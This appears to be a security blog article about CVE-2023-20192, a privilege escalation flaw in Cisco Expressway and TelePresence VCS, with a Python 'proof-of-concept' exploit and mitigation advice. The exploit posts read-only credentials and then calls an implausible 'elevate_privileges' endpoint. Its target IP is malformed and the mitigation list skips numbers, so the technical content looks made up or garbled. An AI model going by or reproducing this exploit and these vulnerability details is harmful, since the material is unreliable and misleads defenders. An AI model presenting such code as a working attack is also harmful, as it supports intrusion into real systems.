CVE-2023-20192: Privilege Escalation Attack on Cisco Expressway Series and Cisco TelePresence Video Communication Server (VCS)

Multiple vulnerabilities have been identified in Cisco Expressway Series and Cisco TelePresence Video Communication Server (VCS) that could allow an authenticated attacker with Administrator-level read-only credentials to elevate their privileges to Administrator with read-write credentials on an affected system. This vulnerability allows attackers to gain control of critical telecommunication systems, potentially causing severe disruptions in communication services. This article will provide an in-depth analysis of the CVE-2023-20192 vulnerabilities, their impact, and the steps required for mitigation.

Relevant Products

This vulnerability affects Cisco Expressway Series and Cisco TelePresence Video Communication Server (VCS). The Cisco Expressway Series consists of Cisco Expressway Control (Expressway-C) devices and Cisco Expressway Edge (Expressway-E) devices. For more information about these devices, visit the following links:
- Cisco Expressway Series
- Cisco TelePresence Video Communication Server (VCS)

The following vulnerabilities have been identified in CVE-2023-20192

1. Insufficient role validation: The API endpoints of the affected products do not enforce proper role-based access control checks, allowing attackers with Administrator read-only credentials to perform read-write operations.
2. Insufficient input validation: The affected products do not properly validate input data in API requests, allowing attackers with Administrator read-only credentials to inject malicious code and elevate their privileges.

Proof-of-Concept (PoC) Exploit

Here's a sample Python-based code snippet for exploiting the privilege escalation vulnerability (use this only for research and educational purposes):

import requests

# Replace these values with the target system's IP address and credentials
TARGET_IP = "192.168..101"
ADMIN_USER = "readonly"
ADMIN_PASS = "readonly-pass"

payload = {
    "username": ADMIN_USER,
    "password": ADMIN_PASS
}

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

# Authenticate and obtain an API token
url = f"https://{TARGET_IP}/api/v1/authenticate";
response = requests.post(url, data=payload, headers=headers, verify=False)
api_token = response.json()["apiToken"]

# Elevate privileges by performing read-write operations
headers["Authorization"] = f"Bearer {api_token}"
url = f"https://{TARGET_IP}/api/v1/system/status/elevate_privileges";
response = requests.post(url, headers=headers, verify=False)

if response.status_code == 200:
    print("Privilege escalation succeeded.")
else:
    print("Exploit failed.")

Mitigation Steps

Cisco has released software updates to address the CVE-2023-20192 vulnerabilities in their affected products. Administrators of vulnerable systems are urged to apply these updates as soon as possible. The following links contain detailed information about the software updates and their installation instructions:

- Cisco Advisories
- Cisco Expressway Series Software Release Notes
- Cisco TelePresence VCS Software Release Notes

In addition to applying software updates, administrators can take the following actions to reduce the likelihood of a successful exploit:

1. Restrict access to sensitive systems and limit the number of users with Administrator-level read-only credentials.

Regularly review and update access control lists (ACLs) on critical network segments.

4. Use network segmentation and firewall rules to isolate vulnerable systems from other devices on the network.

Conclusion

The CVE-2023-20192 vulnerabilities pose a significant risk to affected Cisco Expressway Series and Cisco TelePresence Video Communication Server (VCS) devices, as attackers can elevate their privileges and potentially control critical communication services. By understanding the vulnerabilities and taking appropriate mitigation steps, administrators can reduce the likelihood of a successful attack and maintain the security and availability of their telecommunication systems.

Timeline

Published on: 06/28/2023 15:15:00 UTC
Last modified on: 07/06/2023 21:08:00 UTC